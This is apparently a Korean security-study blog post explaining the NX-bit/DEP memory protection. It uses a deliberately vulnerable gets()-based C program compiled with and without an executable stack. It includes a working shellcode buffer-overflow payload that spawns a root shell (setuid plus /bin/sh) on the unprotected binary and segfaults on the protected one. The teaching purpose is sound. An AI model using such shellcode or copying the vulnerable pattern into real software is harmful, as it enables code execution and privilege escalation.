메모리 보호 기법 ( NX-Bit )
메모리 보호 기법 종류
- NX Bit ( MS : DEP )
- ASLR
- Canaries
- RELRO
- PIE
NX-Bit ( MS : DEP )?
- NX-Bit ( Never eXecute Bit , 실행 방지 비트 )란?
- 프로세스 명령어나 코드 또는 데이터 저장을 위한 메모리 영역을 따로 분리하는 CPU의 기술
- NX특성으로 지정된 모든 메모리 구역은 데이터 저장을 위해서만 사용되며, 프로세스 명령어가 그 곳에 상주하지 않음으로써 실행되지 않도록 만들어 준다.
- DEP ( Data Execution Prevention )이란?
- 마이크로소프트 윈도우 운영 체제에 포함된 보안 기능이며, 악의적인 코드가 실행되는 것을 방지하기 위해 메모리를 추가로 확인하는 하드웨어 및 소프트웨어 기술
- DEP는 두 가지 모드로 실행된다.
- 하드웨어 DEP : 메모리에 명시적으로 실행 코드가 ㅍ포함되어 있는 경우를 제외하고 프로세스의 모든 메모리 위치에서 실행할 수 없도록 표시한다.
- 대부분의 최신 프로세스는 하드웨어 적용 DEP를 지원한다.
- 소프트웨어 DEP : CPU가 하드웨어 DEP를 지원하지 않을 경우 사용한다.
- 하드웨어 DEP : 메모리에 명시적으로 실행 코드가 ㅍ포함되어 있는 경우를 제외하고 프로세스의 모든 메모리 위치에서 실행할 수 없도록 표시한다.
- 예를 들어 공격자가 Heap, Stack 영역에 Shellcode를 저장해서 실행하기 위해서는 해당 영역에 실행권한이 있어야 한다.
- DEP가 적용되지 않았을 경우에는 쉘코드가 실행이 됩니다.
- DEP가 적용된 경우에는 실행권한이 없으므로 쉘코드가 실행되지 않습니다.
- 프로그램에서 해당 동작에 대한 예외처리 후 프로세스가 종료 됩니다.
예제
//DEP.c
#include <stdio.h>
#include <stdlib.h>
int main(){
char str[256];
char *chare = (char*)malloc(100);
printf("Input: ");
gets(str);
printf("%p\n", str);
}
기본적인 BOF가 있는 소스를 하나는 NX-Bit를 켜고 다른 하나는 끄고 컴파일을 해서 차이점을 알아보자.
DEP-disabled : gcc -z execstack -o DEP-disabled DEP.c
DEP-enabled : gcc -o DEP-enabled DEP.c
c0wb3ll@kali:~/Desktop/laz/NX$ checksec --file DEP-*
[*] '/home/c0wb3ll/Desktop/laz/NX/DEP-disabled'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
[*] '/home/c0wb3ll/Desktop/laz/NX/DEP-enabled'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
c0wb3ll@kali:~/Desktop/laz/NX$
실행권한 유/무 차이
Start End Perm Name
0x0000555555554000 0x0000555555557000 r-xp /home/c0wb3ll/Desktop/laz/NX/DEP-disabled
0x0000555555557000 0x0000555555558000 r-xp /home/c0wb3ll/Desktop/laz/NX/DEP-disabled
0x0000555555558000 0x0000555555559000 rwxp /home/c0wb3ll/Desktop/laz/NX/DEP-disabled
0x00007ffff7df5000 0x00007ffff7fae000 r-xp /usr/lib/x86_64-linux-gnu/libc-2.30.so
0x00007ffff7fae000 0x00007ffff7fb1000 r-xp /usr/lib/x86_64-linux-gnu/libc-2.30.so
0x00007ffff7fb1000 0x00007ffff7fb4000 rwxp /usr/lib/x86_64-linux-gnu/libc-2.30.so
0x00007ffff7fb4000 0x00007ffff7fba000 rwxp mapped
0x00007ffff7fd0000 0x00007ffff7fd3000 r--p [vvar]
0x00007ffff7fd3000 0x00007ffff7fd4000 r-xp [vdso]
0x00007ffff7fd4000 0x00007ffff7ffb000 r-xp /usr/lib/x86_64-linux-gnu/ld-2.30.so
0x00007ffff7ffc000 0x00007ffff7ffd000 r-xp /usr/lib/x86_64-linux-gnu/ld-2.30.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rwxp /usr/lib/x86_64-linux-gnu/ld-2.30.so
0x00007ffff7ffe000 0x00007ffff7fff000 rwxp mapped
0x00007ffffffde000 0x00007ffffffff000 rwxp [stack]
DEP-diabled의 실행 권한이 있는 메모리 영역은 13곳이다.
Start End Perm Name
0x0000555555554000 0x0000555555555000 r--p /home/c0wb3ll/Desktop/laz/NX/DEP-enable
0x0000555555555000 0x0000555555556000 r-xp /home/c0wb3ll/Desktop/laz/NX/DEP-enable
0x0000555555556000 0x0000555555557000 r--p /home/c0wb3ll/Desktop/laz/NX/DEP-enable
0x0000555555557000 0x0000555555558000 r--p /home/c0wb3ll/Desktop/laz/NX/DEP-enable
0x0000555555558000 0x0000555555559000 rw-p /home/c0wb3ll/Desktop/laz/NX/DEP-enable
0x00007ffff7df5000 0x00007ffff7e1a000 r--p /usr/lib/x86_64-linux-gnu/libc-2.30.so
0x00007ffff7e1a000 0x00007ffff7f64000 r-xp /usr/lib/x86_64-linux-gnu/libc-2.30.so
0x00007ffff7f64000 0x00007ffff7fae000 r--p /usr/lib/x86_64-linux-gnu/libc-2.30.so
0x00007ffff7fae000 0x00007ffff7fb1000 r--p /usr/lib/x86_64-linux-gnu/libc-2.30.so
0x00007ffff7fb1000 0x00007ffff7fb4000 rw-p /usr/lib/x86_64-linux-gnu/libc-2.30.so
0x00007ffff7fb4000 0x00007ffff7fba000 rw-p mapped
0x00007ffff7fd0000 0x00007ffff7fd3000 r--p [vvar]
0x00007ffff7fd3000 0x00007ffff7fd4000 r-xp [vdso]
0x00007ffff7fd4000 0x00007ffff7fd5000 r--p /usr/lib/x86_64-linux-gnu/ld-2.30.so
0x00007ffff7fd5000 0x00007ffff7ff3000 r-xp /usr/lib/x86_64-linux-gnu/ld-2.30.so
0x00007ffff7ff3000 0x00007ffff7ffb000 r--p /usr/lib/x86_64-linux-gnu/ld-2.30.so
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p /usr/lib/x86_64-linux-gnu/ld-2.30.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p /usr/lib/x86_64-linux-gnu/ld-2.30.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p [stack]
하지만 DEP-enabled의 실행 권한이 있는 메모리 영역은 단 3곳밖에 존재하지 않는다.
실험
우선 실험에 앞서 다른 모든 보호 기법을 끄고 오로지 NX-Bit만 보기로 하자.
drwxr-xr-x 2 c0wb3ll c0wb3ll 4096 Apr 22 19:39 .
drwxr-xr-x 3 c0wb3ll c0wb3ll 4096 Apr 22 17:22 ..
-rw-r--r-- 1 c0wb3ll c0wb3ll 161 Apr 22 17:25 DEP.c
-rwxrwxrwx 1 root root 16704 Apr 22 19:39 DEP-disabled
-rwxrwxrwx 1 root root 16704 Apr 22 19:39 DEP-enabled
다음과 같이 disabled 와 enabled 파일이 있다.
c0wb3ll@kali:~/Desktop/laz/NX$ (python -c "print '\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05' + '\x90'*216 + '\xa0\xdf\xff\xff\xff\x7f'";cat) | ./DEP-disabled
Input : 0x7fffffffdfa0
ls
DEP-disabled DEP.c payload.py
DEP-enabled core peda-session-DEP-disabled.txt
다음과 같이 페이로드를 때렸을 때 NX-Bit가 꺼져있는 disabled 파일은 제대로 쉘이 따진 반면
c0wb3ll@kali:~/Desktop/laz/NX$ (python -c "print '\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05' + '\x90'*216 + '\xa0\xdf\xff\xff\xff\x7f'";cat) | ./DEP-enabled
Input : 0x7fffffffdfa0
ls
Segmentation fault (core dumped)
NX-Bit가 켜진 enabled 파일은 세그폴트오류가 나는것을 확인하였다.